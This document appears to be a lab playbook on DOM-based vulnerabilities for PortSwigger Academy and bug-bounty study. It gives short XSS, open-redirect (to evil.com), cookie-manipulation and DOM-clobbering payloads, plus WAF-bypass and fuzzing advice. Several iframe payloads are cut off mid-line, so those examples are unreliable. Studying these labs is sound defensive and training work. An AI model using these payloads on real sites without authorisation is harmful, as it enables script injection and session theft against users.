ShulkwiSEC DOM-based Vulnerabilities — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: DOM XSS web messages 🟡 PRACTITIONER
<iframe src="https://TARGET" src=1
Target listens to message event and writes to innerHTML without origin check.
Lab 2: Web messages + JS URL 🟡 PRACTITIONER
<iframe src="https://TARGET"
Message handler checks indexOf('http:') — append it after // comment.
Lab 3: Web messages + JSON.parse 🟡 PRACTITIONER
<iframe src="https://TARGET"
Lab 4: DOM open redirection 🟡 PRACTITIONER
https://TARGET/post?postId=1&url=https://evil.com
Lab 5: DOM cookie manipulation 🟡 PRACTITIONER
<iframe src="https://TARGET/product?productId=1&'><script>print()</script>"
Lab 6: DOM clobbering XSS 🟡 PRACTITIONER
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">
Clobbers defaultAvatar.avatar property used in src attribute.
Lab 7: Clobbering to bypass HTML filters 🔴 EXPERT
<form id=x tabindex=0 id=attributes>
Clobbers element.attributes so DOMPurify can't enumerate and remove event handlers.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class